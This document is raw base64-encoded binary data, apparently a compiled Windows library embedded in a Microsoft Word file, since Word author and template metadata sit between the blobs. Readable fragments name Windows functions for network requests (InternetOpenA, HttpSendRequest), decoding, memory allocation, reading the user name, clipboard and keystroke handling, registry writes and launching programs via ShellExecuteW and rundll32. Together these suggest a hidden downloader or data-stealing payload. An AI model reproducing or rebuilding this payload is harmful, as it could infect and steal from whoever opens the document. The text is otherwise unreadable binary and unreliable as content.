AAJCvhUeQu4mQVIuQJ4gAAQ3J5cHRTdHIAaW5nVG9CaW5oYXJ54MB94wLjAVQGb/MBcAFDUllQVAQzMhI+IQBHZGkAcEFsbG9jAO0BsgBGcmVlAAB1AgKxAGx1c1N0YShydHUQJHQWAWh1gHRkb3duADbyAgBDbG9uZUltYQpnUAOYEgFEaXNwJG9zNQHxATEBU2EGdgMBcghlYW0ATQPTA7AAdGVCaXRtAmGQB29tSEJJVCBNQVAAH1IDR2UCdEIDRW5jb2RloHJzU2l6EAUevwExsAEAAGfzCXINPQBB8AFBZGFwdKABQYBkZHJlc3NlMAIASVBITFBBUEkQLkRMTNBcSExXA8EAEQNaAE9idGEAaW5Vc2VyQWcEZW70FAB1cmxthG9u41DCAEluAAUBAFJPcGVuQQCSA/YAUBBzZUhhbmQMbGVQEFYBb25uZRRjdDAXyjYBUmVhSGRGaWACAMg2AVEAdWVyeU9wdGnSb0AFANh2AVOBBlQBQHUASHR0cHEHUqBlcXVlc1EFfDIB0FNlbmQ3AXoyARIFEEluZm8QAVdJThBJTkVUIgxXUzIiX6QfAH8AWQtSBQBTbGVlcADAAwBNYXBWaWV3T8JmYgqFBVVuwBkYAV67cCVRG8EAsAJwUyXlBgOxCTsBqwVXYWkgdEZvclPwAGxliE9iatAQACwCsBkIRXhp4BFkZVBynG9jsBmQO1QFVGhgAIVQa9z0AFJlbW9XAQYtuQNEAS8DSGVhpTQsNrIAUmXTADPSAB0TLaKRA9QGUQEAAHcAA0lzV293NjQFNghQMQJMYXN0RTBycm9ykD80CE11A6Bv8AwKBmxzdHICbKEfANEDTXVsEHRpQnnACW9XaQBkZUNoYXIAzRIFpQBUb/YBAFUBCEV4cGAWRW52aRByb25t1iVzVwAisjQGRGlywBFvcgx5V3EmFxZXAAoB0ERlbGXVADsxCqEACcIwUAT3JOEFV3JiaWMCAAsFsCOYDNsnFAWkDjAGngFxEUxpBGJy0EEAqANMb0xhZNQA0AEtBBIkUABlcmZvcm1hbiBjZUNvdVEpANYB8QdTeXN0ZW1UYGltZUFz8QaRAABC8pEBVGlja6ICAMAAlgVWZXJgCFAwBGRpUSxNYXNrAAQIA1ACVm9sdW2OZfEpwAWhAVcACdEDsEN1cnLAEQUZ0LcGubECAASyAxA9EANFABkWC/UYEAua0QZpZnkX5AHxAlAB8VUlb29sAGhlbHAzMlNuIGFwc2hv8AkMBIF0BjMyRmlycxABSg4XAU6wjgAB8gVjQG1waUEAmvMjaTp2UxRmERgyHFAGmwUkVmlQUmFsYycAnpP1AKInEwEQUWFiUBID8ipEFkNhbGxzAEBLRVJORUwVOXsQA3dzcDAFdGZXhAB6tgBBAF4CsTUAQ2xpcGJvYXIYZABLkzsHAQAoAQvRE/UARPKWeANrZUB5YmRfZXYgFQCmqhECsxRNZYALY/AuGm8xAU3wDnBUQQA/gANUcmFuc2wBLwszAfCWANFcYXRjaEFmAgBVU0VSFQtUEAJSZWfCCEtlebwAhNEAoQrAAPEZkfEAQYIkVmFsdWUhAQDuXBIDQhlUAqERAXAiNwLYQURWYFk1BvRwWrELkHBlY2kgFW9s4F4gUGF0aFdwAUVMDcUTmpQe42VPbkhHAGxvYmFsAG9s/mWFBA8ADwAPAA8ADwAPAP8PAA8ADwAPAA8ADwAPAA4AKrUiAAoAAQAQACgYAFQAgA24AQAUMBBcCRAEAABIABJgoAAYACADCzoBACADNEEAClYAUwBfAApFBABSABJJAE8ATjUAHkkACkYACwEAvQQE7/4BTwsABAAJVAACBgc/BEcEAAECFQxbfgAQAQBPdAByQABpAG4AZwBNaRAAbABlAFluAGYUAG8AI1oCIzAANBUAAzkCB2IBxwBMAAoWABdDACNtAHAAqmGAF3mARmGABmWCLYpNgCRjgCtvAHOAAWpmgDEgghZygBaBAmGVgAhpgARugTEAGYAl1YU9RIABc4IdaYAVhxJFkykugDpFAFSABEargiqBP3eCMGuCGTKAgrWHLVaAAXKAHocpNIAgajGAAC6AFC6AcIMJCquAGYGBdIIXboArbIhuqm6AAnSAMmaAGGRABqpswASAwAIBQEVlQFEbQQvBOnDAREExZwBoscALAACpQCnnRS5ABupBQhcgSBFzQgNBSEEminZAAWRACgAAPMIsfk9ECkFzQSHFPUED1y4+FAAPwA5QQiVkAHXtwCd0ynLdWDbCWMsPTVpV0VlEQsBWQBRyUJ4AtAAkwKwAwB3BHG7AEupsSo0AwM6wAQg/ADkABQB+jMAACDAiMD8AMFAwZzB5MJ8AMMMw5zAvMYMAMekxKzJnMtwAMhQzQTMjNN8ANOk0+zQGNYEANZE1pjXANQ0ANzg3QjeQN5sANw84OjhEOJIAOJ042jggOTgAOWU5lzm2OecAOTc6cTq3Os8AOvw6LjtNO3QAO5w7xzv7Ow0APHE9iT1TPsQAPio/VT9fP60QP7g/9gF9IAAAAjjAAD0wVDB+MACyMNMw+DAqMQAnNVU15TnsOQAhOyg7UDtXOwD0Pgo/Hj8mPwBnP4k/sT/OPxTkPwF6qOAGETBAADBiMHcxYTRpADRyNHw0sTS8ADTENBk1HzU+ADVHNW81dzWCADW9NdU1/jUdADYkNjA2RjZQADZ6NoM2kDaYADbWNt42YjeJADeTN6k3tDfJADfRN9k39zcHADgPOD84vDjiADjIOc85QDpQADpeOnQ6iDqUADqfOrU64DoGADtlO5o80TzuADz1PBo9iz2UAD2mPbE9Bz4OAD4sPjM+ST5RAD5YPr0+yj6oIyAcABRAAADApABHADBOMGswgjCgQDC2MMAw3mAtCQAxHjE3MUcxTwAxVzGFMasx0wAx5DH4MRszXQAzdDOuM80z6EAzADQnNFFgLx0ANTU1TTWyNTwANkc2hTaeNrcANtA27zYMN4cAN5035Tf8NzsAOE04Wjh/OL8AOL05MDo9OlsAOuw6HDt6O2cAPHU8YD1yPaMAPa498z1SPnUAPoE+kD6ePqsAPrs+wj7QPoxIP8Y/QGAAeOATBgAw9jC2MdkxBgAyOzJhM7szagA0dTSyNL005gA0/TSgNXQ2JwA3NTdCOI44+gA4XzmOOc05FgA6ZTpRO2A7ZwA7mTutO747zAA72zvpO/g7BwA8GzwnPEc8YgA+aT65PsU+1BA+4z7yoDciPzoAP1I/az92P+4AP/c//D8AYAAMAHxhvGBQKTA5MCB8MKEw1aAi+DAAvTHNMWoygTMI+TMEYE8JNRg1CDw1UOA4mzXqNSAHNkg2aKAfGTcAUDdcN2w3czcAjTemN643vDcAxjfTN9436jcI8Df2ICICOAg4AA44FDgaOCA4ACY4LDgyODg4Aj6gVUo4UDhWOAnAlgAUYA9QMlQyyHg1fKBaxDWfZh8AHx8AHwAfAB8AHQDzWAAA81gAAAEAeAAAAAAAAAAAAAAAAAAAAAAAAAIAAAA=
Normal
Nick Daemoji
Microsoft Office Word
zmABBw5gAQZOYAEFjmABBM5gAQQOYAEDjmABAw5gAQJOYAEBjmABAV5gAQEOYAEAjmABAE5gAQAOYAEPzlABD45QAQ9OUAEPDlABDs5QAQ4OUAENzlABDY5QAQ1OUAENDlABDM5QAQyOUAEMTlABDA5QAQvOUAELjlABC05QAQsOUAEKzlABCo5QAQpOUAEKDlABCc5QAQmOUAEJTlABCQ5QAQjOUAEIjlABCE5QAQgOUAEHzlABB45QAQdOUAEHDlABBs5QAQaOUAEGTlABBY5QAQTOUAEETlABA45QAQIOUAEBTlABAA5QAQ4OQAEMDkABCg5AAQgOQAEGDkABA85AAQIOQAEPzjABDc4wAQtOMAEJjjABCI4wAQhOMAEHzjABBs4wAQSOMAEEDjABA04wAQJOMAEAjjABDo4gAQwOIAEJjiABBw4gAQROIAECjiABAE4gAQ4OEAELThABCI4QAQbOEAEBXmABBY4QAQPOEAECjhABAI4QAQ7OAAECgAbgB1AGwAbAApAAAAAAAobnVsbCkAAAAAAAAGAAAGAAEAABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAoIDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHhweHh4eAgHCAAABwAICAgAAAgACAAHCAAAAAAAAAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAaAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAUABQAEAAQABAAEAAQABQAEAAQABAAEAAQABAAAQEBAQEBAQEBAQ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////8AAAAAQAAAALT0ABAAAAAAAAAAAAEAAADE9AAQmPQAEAAAAAD0LAEQAQAAAAAAAAD/////AAAAAEAAAAB89AAQAAAAAAAAAAAAAAAAEC0BEPz0ABAAAAAAAAAAAAIAAAAM9QAQGPUAEJj0ABAAAAAAEC0BEAEAAAAAAAAA/////wAAAABAAAAA/PQAEAAAAAAAAAAAAAAAAHBPAACQUQAAMIwAAAezAAARtAAANsQAAG7EAACZxAAAtMQAAPnEAACyxQAA88UAAIbGAADYxgAA/cYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAPy8AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAADcOQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACA7ABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAizwAEAAAAAD+////AAAAANT///8AAAAA/v///+s9ABD8PQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFRAABAAAAAA/v///wAAAADA////AAAAAP7///8AAAAAYkMAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABgTQAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAHhbABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAPV0AEP7///8AAAAATF0AEP7///8AAAAA2P///wAAAAD+////AAAAAP9eABD+////AAAAAAtfABD+////AAAAAND///8AAAAA/v///wAAAADGaAAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAFJqABAAAAAAAAAAAB5qABD+////AAAAAND///8AAAAA/v///wAAAACiawAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAKhtABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAC3oAEAAAAAD+////AAAAANj///8AAAAA/v///2d6ABBregAQAAAAAP7///8AAAAA2P///wAAAAD+////t3oAELt6ABAAAAAA/v///wAAAADA////AAAAAP7///8AAAAAn3wAEAAAAAD+////AAAAANj///8AAAAA/v///0t+ABBefgAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAF+CABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAALooAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAYkAAQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAAN2RABAAAAAAAAAAABmRABD+////AAAAANT///8AAAAA/v///wAAAAATlQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAANqXABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAArJsAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAAZnwAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAA+iABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAJaUAEAAAAADAHgEQAAAAAP////8AAAAADAAAAGaxABAAAAAAYbEAEAAAAACY+QAQAwAAAKj5ABBs+QAQAPoAEAAAAADgHgEQAAAAAP////8AAAAADAAAALOxABAAAAAAYbEAEAAAAADU+QAQAwAAAOT5ABBs+QAQAPoAEAAAAAAAHwEQAAAAAP////8AAAAADAAAAACyABAAAAAA2CwBEAAAAAD/////AAAAAAwAAAAHNAAQAAAAAPQsARAAAAAA/////wAAAAAMAAAAryUAEAIAAAAc+gAQAPoAEAAAAACVEgAQAAAAADj6ABD/////LsQAECIFkxkBAAAAVPoAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9RxAAQAAAAAFnEABAAAAAAYcQAECIFkxkDAAAAgPoAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+JxAAQAAAAAJHEABAiBZMZAgAAALz6ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAEAAAAAAAAAAAAAAAMwjABBAAAAAAAAAAAAAAABTIwAQAgAAAAIAAAADAAAAAQAAABD7ABAAAAAAAAAAAAMAAAABAAAAIPsAECIFkxkEAAAA8PoAEAIAAAAw+wAQAAAAAAAAAAAAAAAAAQAAAP/////XxAAQAAAAAM/EABAiBZMZAgAAAHz7ABAAAAAAAAAAAAAAAAAAAAAAAAAAAA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